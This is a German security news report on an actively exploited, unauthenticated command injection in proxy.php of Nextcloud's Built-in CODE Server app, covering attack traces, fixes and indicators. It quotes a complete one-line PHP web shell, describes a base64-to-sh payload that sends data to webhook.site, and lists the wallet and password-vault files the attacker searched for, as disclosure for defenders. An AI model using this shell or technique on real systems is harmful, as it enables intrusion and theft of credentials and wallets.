Die App lädt eine Kopie der Collabora Online Development Edition (CODE) herunter und betreibt sie direkt auf dem Nextcloud-Server, damit Nextcloud Office Dokumente ohne separaten Collabora-Server bearbeiten kann. Im App-Store ist sie als „für lokale Tests und den nicht-produktiven Einsatz" sowie „für den persönlichen Gebrauch oder kleine Teams" ausgewiesen.

Der Fehler steckt im Skript proxy.php, das den lokalen CODE-Server startet, sobald eine Anfrage eintrifft und kein Dienst lauscht. In Versionen bis einschließlich 26.4.302 setzte das Skript Text aus der Anfrage – einschließlich des Pfads – in einen in doppelte Anführungszeichen gesetzten Bash-Befehl ein, in dem die Shell als $(…) geschriebene Konstrukte weiterhin ausführt. Eine Anfrage mit einem im Pfad versteckten Befehl brachte diesen so mit den Rechten des Webserver-Kontos zur Ausführung, und zwar ohne vorherige Authentifizierung. Da das Skript die Startzeile nur aufbaut, wenn der Dokumentenserver tatsächlich gestartet werden muss, funktioniert der Angriff nur, solange dieser nicht läuft – etwa bei einem Container-Neustart, während eines Upgrades oder nach einem Absturz. proxy.php ist eine einfache PHP-Datei, die der Webserver direkt aus dem App-Verzeichnis ausführt und die keinerlei Nextcloud-Code lädt.

Betroffene Installationen

Collaboras Advisory nennt sämtliche Versionen vor 26.4.303 als betroffen; eigenständige Collabora-Online-Server sind laut Hersteller nicht verwundbar. Eine Warnung im Nextcloud-Community-Forum vom 3. Oktober stellte klar, dass Installationen nicht betroffen sind, die ausschließlich die App Nextcloud Office (richdocuments) ohne die Built-in-Variante nutzen – unabhängig davon, ob der Collabora-Server in Docker, aus einem Linux-Paket oder bei einem Hoster läuft.

Die korrigierten Versionen setzen Nextcloud 30 oder neuer voraus. Nextcloud 29 und älter haben das Supportende erreicht, der App-Store liefert ihnen weiterhin eine verwundbare Version aus; betroffene Betreiber müssen Nextcloud aktualisieren oder die App entfernen. Collaboras Korrektur für eine separate Befehlsinjektion im selben Skript, CVE-2025-66208, die im vergangenen Dezember offengelegt wurde, verhindert den neuen Angriff nicht.

„Es reicht nicht aus, die App zu deaktivieren, um das Problem zu vermeiden; sie muss auf >= 26.4.303 aktualisiert oder entfernt werden", heißt es im Advisory.

Vorgehen der Angreifer

Die erste Meldung stammt von einem Administrator, der mehrere Nextcloud-Server betreibt und auf GitHub schrieb, die Server seien seit dem Vortag kompromittiert. Zugriffsprotokolle zweier Systeme zeigen Anfragen am 10. September um 19:51 Uhr und am 11. September um 09:56 Uhr (UTC+2), beide von derselben IP-Adresse und beide auf proxy.php?status gerichtet, mit einem im Anfragepfad versteckten Shell-Befehl. Alle Server dieses Administrators liefen unter Version 26.4.302.

Der Befehl dekodierte eine einzeilige PHP-Web-Shell in das App-Verzeichnis und versuchte, die Ausgabe von uname -a an eine Adresse bei webhook.site zu senden. Auf einem Server durchsuchte der Angreifer anschließend über die Shell das System nach Passwortspeichern und Kryptowährungs-Wallets, darunter Dateien mit den Endungen *.kdbx sowie wallet.dat und keystore.json und Namen wie bitwarden, 1password, .bitcoin, .electrum, .monero und .ethereum.

In den ausgewerteten Anfragen fanden sich keine Befehle, die Dateien archiviert, hochgeladen oder herauskopiert hätten; dennoch müsse alles, was das Webserver-Konto lesen kann, als potenziell offengelegt gelten, schrieb der Administrator. Zwei weitere Administratoren berichteten dasselbe für ihre eigenen Instanzen: Einer entdeckte die Shell, weil die Integritätsprüfung von Nextcloud eine neue PHP-Datei anzeigte, der andere erfuhr von dem Einbruch durch E-Mails über fehlgeschlagene sudo-Versuche. Keiner der Berichte zeigt, dass der Angreifer Root-Rechte erlangt hätte.

Nach dem Update auf 26.4.303 protokollierte einer von ihnen am 14. September einen weiteren Versuch von einer zweiten IP-Adresse mit einer gleichartigen Nutzlast. Der daraufhin gestartete CODE-Server führte den Angriffstext in seinen Startoptionen mit, eine neue Shell-Datei entstand jedoch nicht. Die Ausgabe „sieht beängstigend aus, sollte aber harmlos sein", antwortete mmeeks, der im Thread für das Projekt sprach, und forderte die Nutzer auf, zu aktualisieren und übrig gebliebene Dateien des Musters shx*.php zu löschen.

Der CVE-Eintrag beschreibt die Lücke als „im September und Oktober 2026 in freier Wildbahn ausgenutzt". Wie viele Server betroffen sind, ist nicht bekannt. „Das betrifft nur die Development Edition und nur diesen (eher selteneren) Betriebsmodus mit eingebautem CODE-Server, der ein lokales AppImage herunterlädt", schrieb mmeeks.

Empfohlene Schritte

  • richdocumentscode – in der Nextcloud-App-Liste als „Collabora Online - Built-in CODE Server" geführt – auf 26.4.303 oder neuer aktualisieren oder die App entfernen. Ein Deaktivieren innerhalb von Nextcloud schließt die Lücke nicht.
  • Unter Nextcloud 29 oder älter, wo sich 26.4.303 nicht installieren lässt, Nextcloud aktualisieren oder die App entfernen.
  • Nach bereits erfolgtem Update nach Dateien des Musters shx*.php suchen, beginnend in apps/richdocumentscode, und diese löschen.
  • Zugriffsprotokolle mindestens bis zum 10. September auf Anfragen an proxy.php?status prüfen, deren Pfad %2e%2e, $( oder ${IFS} enthält, und auf sudo-Versuche des Webserver-Kontos achten. Alles, was dieses Konto lesen konnte, sollte dem Hinweis des ersten Melders folgend als potenziell offengelegt behandelt werden.

Version 26.4.402 vom 24. September schreibt den Startbefehl so um, dass jede Option als eigenes Argument übergeben wird; Administratoren berichten jedoch, dass der Dienst auf manchen Installationen nicht startet oder keine Dokumente öffnet, und sind zu 26.4.303 zurückgekehrt – jener Version, die das Advisory als Korrektur benennt. Eine neuere Veröffentlichung gab es bis zum 14. Oktober nicht.

Indikatoren aus den Protokollen der Administratoren

  • Dateien: shrf4645.php, shxa35d0.php, shx5cf91.php, shxd33ce.php und shxf4645.php, gefunden in apps/richdocumentscode/ auf den Servern des ersten Melders
  • Datei: shx13a86.php, gefunden von einem zweiten Administrator (Ablageort nicht genannt)
  • Datei: shx56367.php, der Name aus dem Versuch vom 14. September, bei dem keine Datei entstand
  • SHA-256: 4b9fbd0663fbfd6028fc216ed18e0d6ef3ae498a7fdc97083e4b0ce3cec40562 – die einzeilige Shell <?php $c=$_GET[‘c’]??‘id’; echo shell_exec($c.’ 2>&1’);
  • Pfad: /apps/richdocumentscode/proxy.php?status
  • IP-Adressen: 139.28[.]18[.]122 (Angriffe am 10. und 11. September), 89.38[.]98[.]50 (Versuch vom 14. September gegen einen gepatchten Server)
  • Merkmale in Anfragen: %2e%2e, $(, ${IFS} sowie ein an sh weitergeleitetes base64 -d, jeweils im Anfragepfad
  • Domain: webhook[.]site, ein öffentlicher Dienst, mit den Callback-IDs 45060ed4-de0b-4119-8f0d-2a2776bbd413 und 774cf5e1-b5a4-4174-a1ad-0241861029a2

Korrektur ohne Sicherheitshinweis

Die Codeänderung, die die Lücke schließt, umfasst vier Zeilen in proxy.php: Der Startbefehl wird bash nun als einzelnes, maskiertes Argument übergeben statt als Zeichenkette in doppelten Anführungszeichen, sodass die empfangende Shell Text aus der Anfrage nicht mehr expandiert. Der Commit-Verlauf des Repositorys weist die Änderung auf den 20. August und auf Caolán McNamara aus, der auch das Advisory veröffentlichte – unter dem Titel „tidy up how the coolwsd launch command is built" (etwa: Aufräumen, wie der coolwsd-Startbefehl zusammengebaut wird). In Version 26.4.302 vom 31. August war sie nicht enthalten; eingecheckt wurde sie am 9. September. Der erste protokollierte Angriff folgte am 10. September, Version 26.4.303 am 11. September – mit Release Notes, die lediglich den mitgelieferten CODE-Build nennen.

Der Administrator, der die Angriffe meldete, hatte die App deaktiviert, während er auf eine Korrektur wartete – genau den Schritt, den das Advisory nun als unzureichend bezeichnet. Im Thread forderte mmeeks zum Update auf, kündigte „weitere Updates zu gegebener Zeit" an und verwies auf einen „Rekordrückstau" in der Advisory-Datenbank von GitHub; er verlinkte einen Beitrag aus dem Juni, in dem GitHub erklärte, die Bearbeitung liege Wochen zurück. Am 3. Oktober warnte ein Mitglied des Nextcloud-Community-Forums andere Nutzer, sofort zu aktualisieren, weil die Lücke „bereits ausgenutzt" werde und „keine Warnung und kein CVE veröffentlicht" worden seien. CVE und Advisory erschienen am 14. Oktober. Das Advisory nennt den GitHub-Nutzer wwwshellcodeit als Melder; weder dort noch im Thread ist angegeben, wann die Meldung einging oder wann Collabora erkannte, dass es sich bei der Änderung um eine Sicherheitskorrektur handelte.